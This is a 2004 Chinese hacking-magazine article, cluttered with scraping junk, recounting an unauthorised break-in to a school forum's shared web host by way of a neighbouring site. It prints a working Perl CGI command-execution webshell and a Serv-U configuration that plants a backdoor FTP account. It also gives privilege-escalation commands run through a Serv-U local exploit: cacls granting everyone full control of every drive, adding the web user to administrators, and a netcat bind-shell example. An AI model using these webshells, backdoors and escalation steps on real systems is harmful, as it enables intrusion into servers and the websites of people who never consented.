剑走偏锋——灵巧的旁注攻击 3 W; ~, d/ f/ ?& t
本文作者:angel1 c8 U! @* D* m) ~& c
文章性质:原创. u$ f- B( x% x @) {
发布日期:2004-11-09 6 n+ \% C, X' }9 [2 K# Y1 z
注意:
1 ~: ^8 i6 e. [8 [5 e0 l$ f本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
' [7 n: v' |0 ~ }5 m( p( t( {# P本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
; Z* s4 Q7 y/ Z& h: e9 O2 W/ l2 \7 ~/ t
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
& m; X3 v; v1 ?; R( Z6 Q/ j$ ^0 C1 v7 D7 h. K
一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。
( N2 V/ [8 _. _$ R' h" g7 A$ y% m- f) @( @6 ~' I; f- b
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 , {3 Q# M- @! l1 X0 N3 _% ]$ i" q
8 ^% J* l3 A' y( @ F. U. l 一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 0 R0 k; [5 Z8 B# P2 @
& D, M5 n: x' O, s
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
8 @( E2 A% |; t0 S" G# f6 v |5 S0 S* H( Z/ i8 @; t1 O
没有目的的跳转目录着…… 0 h7 N) N2 [) U/ a% Q
8 z; n/ h6 Z. I6 }1 Z4 I/ R
我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
, Y+ b. l- s. L9 \. O1 f9 l* Y4 N i# h; l5 Y( [
结束了吗?不,我试着 FTP 一下:
, X; P O6 I1 \
( T7 p& C: c( {Microsoft Windows 2000 [Version 5.00.2195]2 l% K. M. J; |+ O; ^6 M: J
(C) 版权所有 1985-2000 Microsoft Corp.
. `! m* S' g& F# v# ?& U5 s! f# Z9 Q; U7 H( k3 H3 l
C:\Documents and Settings\Administrator>ftp www.school.com' R, l2 [$ B% {7 }' u ]2 ^) {
Connected to www. school.com. 5 b# G' T, R9 `( @2 w* ]1 t% k
220 Welcome to FTP Server...
8 O" i" J3 z- u( a& p8 VUser (www.bjtrq.com:(none)): ) @) K: d4 v, p5 B0 \
331 User name okay, need password.
/ T4 ?2 q$ J9 O* t& ]7 APassword:
, n4 I) b, v5 L4 m7 B# R$ n9 x530 Not logged in. ( @0 d- w! g0 h* f, C. l
Login failed.
r4 S. H' D# d) e! sftp> bye 2 K+ B5 N! k$ S4 L( h, u( f1 m
221 Goodbye!
1 `) ^: `! H% T$ C) S6 _
0 u0 M8 b) N: A0 `
- u* ^. v$ W7 v- ?& m9 g- a" b" U 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 1 s r3 D0 K* E0 S4 C, R- |7 v
( H3 ?7 [- I) r9 K" G( j7 @) a
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
0 ]+ E Y7 U, I/ X: J' Y1 m( ?$ O1 v" U0 N' s8 O8 n4 m4 N
Application Data
* g( D% a( H" n0 g7 `4 f# [Documents
* e4 c; O4 _7 b& [% N$ A$ @DRM
6 N+ W& j$ [* h* _Favorites# b" @4 e$ w9 P$ j
Templates* h+ j/ b5 P" K9 u2 S5 Z
「开始」菜单
$ G7 h0 Z) \. y- s* M. G- l) ~7 a桌面2 t" B, `( T# F; P& k+ m
. f- Y: N/ U9 A
3 J; o: m- u) [: p$ p 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, 8 J; T& S5 S& N
8 g) }& a6 ^9 ]: @+ t- @+ v+ B. EActiveState ActivePerl 5.8
! N$ ~% |% \- }; j" b4 h5 A! s' DAdministrative Tools
; K4 K0 D8 k: i2 ~' I2 wDeerfield.com; h$ ?7 s. w0 e
DTemp/ u- M: r# c% [7 D* a9 v2 w' X
IPSentry" G9 e* G6 o: I5 Z( `5 X5 B
MBM 5
2 l1 o! ]* Z1 Z) w6 r; S0 G3 aNetMeter5 `$ d+ z. K& u, e
Network ICE
5 `7 Y4 A2 i& k) r3 v: Y& vPersits Software AspEmail
! R, y- [, [" P+ v" APersits Software AspJpeg9 n% o9 m1 a) p2 {
Serv-U FTP Server" W! F( r9 s9 a, p+ `+ H
Symantec Client Security
7 q' w; W. a/ aWindows 优化大师
8 P: t' t Q$ V, ]5 O! QWinRAR4 j3 _* a1 h% z) w7 @
启动6 V$ C+ R1 f8 I: q. E
管理工具( k% m4 m4 r, ^ J* f _; U
附件" r8 n5 s$ t; p0 v8 X8 u0 c: n
2 ]. @, i. a1 k. {- ^8 w- D
( a3 k( c( d* w
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 0 o- q' E$ a5 ~
3 N5 Q* V# N0 G L' x 先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 9 [6 S& {- P; _% N' K. T( Z9 W
% h2 n) [8 ^0 e) c" K' [+ V
User281=angel|1|0 " J: ]. o% H% o( n3 [7 T
( m* w4 S$ V& e5 B- A( b
( \; {5 z* B6 R& ` 然后加上 $ `! q7 k. ]9 e0 V
" J+ n" K+ G- m: E8 ~+ ~" h+ S# w
[USER=angel|1]% B4 x1 r% B3 l) ~( @' Z) c8 U
Password=ng98F85379EA68DBF97BAADCA99B69B8057 P$ s/ J) p6 i1 g; [
HomeDir=D:\websites% a7 K9 {0 _# r- K
RelPaths=1$ y' d; t) d" F( [4 w( c4 l
TimeOut=600
4 L- r* `$ |/ i% ^! t5 d1 GMaintenance=System
$ R' p( G6 b! O2 B9 t d7 N" IAccess1=D:\websites|RWAMELCDP" k+ F: i# J$ c0 G X% n
SKEYValues=
3 c Y8 |7 S Q$ `+ A - _. Z* y1 {& K9 G# z/ H0 e
8 \5 i# v: W* u6 [) |: H" n 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
& S% q% H( d: q
" N+ j& o8 t% _. a" w 不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
9 V8 k9 o: |5 h1 I( H% D0 ^/ q1 _" S3 _) E* L
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。
9 j. \; i9 w, i Z/ ]. G
X$ {' F; b3 {6 ~( }+ J 还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: / b0 V0 G9 n! @) }" e/ _( f5 J
/ N, G8 |4 I( K& k5 ~
#!/usr/bin/perl
" J6 S7 l. w) D& R# n* Cbinmode(STDOUT);
/ {4 U0 y" H) s* s8 B6 w3 K2 I Osyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
5 Z( Q# \* i5 N6 |$_ = $ENV{QUERY_STRING};
+ S- [1 ~& {7 x( l- C& |, hs/%20/ /ig;
8 `# g( {6 J' S& Xs/%2f/\//ig;
e; ?& @; g, C" l$execthis = $_;& L, u, ^; h( \1 P- M
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
9 P a$ p4 ]- b) fopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";8 U; m% |3 q `: e( O0 C5 a8 j
system($execthis); v( T' U& M0 R5 W4 q, S- j; C
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
# a3 e8 _& Z( U2 p; a' U' ~2 |close(STDERR);
9 v) R9 j% t5 Q, z2 G( \close(STDOUT);
- V/ a# H1 \# F$ g3 Dexit;' g4 r. ? P( k% V2 O
0 d* r% l4 H( _/ C& w
, ^7 }( @+ l) n; A) _6 p 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! / f Z$ k4 \5 \
' m( k2 B( D7 \( M4 k- [# a
显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 7 [: m1 D+ j/ V4 J6 e/ F
, F; g1 P5 _) Q1 c9 A& d
http://anyhost//cmd.pl?d:\user\bin\su.exe ) J+ k4 p+ p- K2 N5 }! x; i7 E5 l
: T o! }6 ~; r* D" V
' ?6 Z$ d3 [; A: x4 m( Z
返回: 4 C% [9 z3 b# e9 p, c/ S4 F* h0 B& e
& t% G* ^; s; j- _" C# Y% T
Serv-u >3.x Local Exploit by xiaolu
+ m# h2 M+ N x9 ?
& S/ f4 D& y6 y7 G, ?USAGE: serv-u.exe "command"
9 Q0 q- n: u& {: o5 d8 g
( g |# k l) q9 ?Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
0 n( r: C* K5 N; y D) j 4 Z6 u/ n# }: L
& d7 C7 r' i- I$ F$ z; `* j 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
% J- U. I$ N O% p! d% t6 ]7 v A8 w0 Q* G1 n% E( f& F
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F" ; N0 K" L! H H7 S8 z- s
2 H0 w2 I9 `, a0 h6 h6 v
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
' r2 z4 f7 A6 J3 i5 k
; A, |& [) h2 d1 dhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
4 E, J' y8 r4 G7 U& g" H7 s/ j. X- ?# r' l
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
2 s& H* D* N* i& ^' v7 e
; {: x. W) o" c- k* r, g# q+ @% @3 v5 j8 f% w
返回下面的信息,就表示成功了!!! ' a+ Q5 T' ?, e1 I
9 d9 X5 x% c! A* PServ-u >3.x Local Exploit by xiaolu
. J4 r/ z& F: w; N5 D0 E
& S6 w, ?1 H, E s+ w- q<220 Serv-U FTP Server v5.2 for WinSock ready...
6 t" e' j# S& q" J; r0 i% I! J7 F S1 h9 \8 t- j# G+ L7 Q
>USER LocalAdministrator 5 s( N; A% ]/ q+ G7 u6 g* q, O
+ [, ]# [( i& e: i' H5 r7 _
<331 User name okay, need password.
" }8 t8 b K0 [# e+ Q" b
- Z- p5 Y* }$ _: c- s1 G; y******************************************************
) H8 P8 o! I- D! m/ Z6 Q* c" _/ _2 n
>PASS #l@$ak#.lk;0@P
/ V( P5 M" T4 b2 q3 ^# G% p
) I6 @$ S! s; P% d4 M<230 User logged in, proceed. ! S6 t+ J4 Z7 W* J. o5 I0 Y
3 o* z( _3 J3 P****************************************************** ' {0 F- v, _! D9 {' D; d4 O
+ n! c2 U1 |2 T3 s1 b
>SITE MAINTENANCE
) p8 B1 A3 x' Z# d# D3 H& W% w e& a, V! I
****************************************************** , j, `7 p0 g$ s$ h
7 j# h- R. u: j, I# ]
[+] Creating New Domain... ) Q/ N. c' _ a' A; B" G' l' T
, i" o% _1 X! J( A+ n$ h
<200-DomainID=2 4 p/ \. ]# a4 M' b; x1 F
8 K3 y2 U# u6 P<220 Domain settings saved # }" X0 k( \; f/ r% ]
: I7 ?' i( S; ~% Q
****************************************************** 0 j" C+ N6 Y+ J1 G0 Q. ?; g$ V! O
& P2 t9 u9 ?! {; L9 `" W9 g( {
[+] Domain xl:2 Created
4 d+ n6 H9 a% r, X: Z0 J h: V. c+ c' [, y
[+] Creating Evil User 5 I3 z0 S& L6 d' a# ~3 y
7 y, D& q4 X& W& ^- L
<200-User=xl
' t z- `" i* J( p$ A" L2 e8 e. f+ l. P g" \, n0 _
200 User settings saved
. Z/ i- ]' I+ `. r- X6 p. x4 _
/ N- N0 p. b$ ~& }8 C****************************************************** 0 A' o, a, N; v
: j! ~: V, e6 d3 c: y h" {' d8 \
[+] Now Exploiting...
d& }/ u. y% }$ J. \4 Z
0 v2 a6 r0 [ h0 W>USER xl
- p9 W8 p- \6 V9 I9 E4 D( w- R
& k: }7 t( f8 ` ?<331 User name okay, need password. 5 s+ X8 A/ `4 `. l6 l h
r' I4 i$ Z( e$ E5 ]****************************************************** 3 Z% c4 p& v2 K% } j, v, ?8 t& V2 P
- O9 O* h" P: @! w U9 E( s& j>PASS 111111
8 [7 B& s; u. s* m& Z% o/ V
2 b2 {2 z7 c& ]& ?4 F C<230 User logged in, proceed. A2 z4 i; R+ i: x9 v$ y' k
5 Y6 e4 L8 k4 k/ P' q, ~# S {" A
******************************************************
6 Q; y9 Q; W! W/ r) o2 @5 Y: t# a* y+ {' c1 J( W- ?+ u: J/ a! H
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
) x- M$ z% _2 T* _3 A1 C4 Z% B2 G0 T4 n% e6 X' M* E, O% [
<220 Domain deleted * c9 H2 D I1 G1 @" m
- I% i% n, v0 Y, }
******************************************************
0 o; \0 s8 T+ R1 C 8 ]' B/ ?" f& H1 V d
) b" V# J) [4 C, X1 c+ M/ c( `
每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: ; t- U* M" J' }' p) U
2 `/ M1 h6 ?: m) c" ^http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" - n9 O' j% F4 Z! k, w0 F* k
" ]0 q" H& A0 J$ X( p3 e7 K4 U7 e9 M$ ~3 m' t% |( O# q
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 5 B4 j3 `+ X' ~) m) ^6 k
4 S/ m$ Z6 ^4 J* L& E' i 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
+ u" A y8 X: Q; @2 K; F
" A! K w! C' X, ~, z
- ]- R0 I! j5 R, f' V |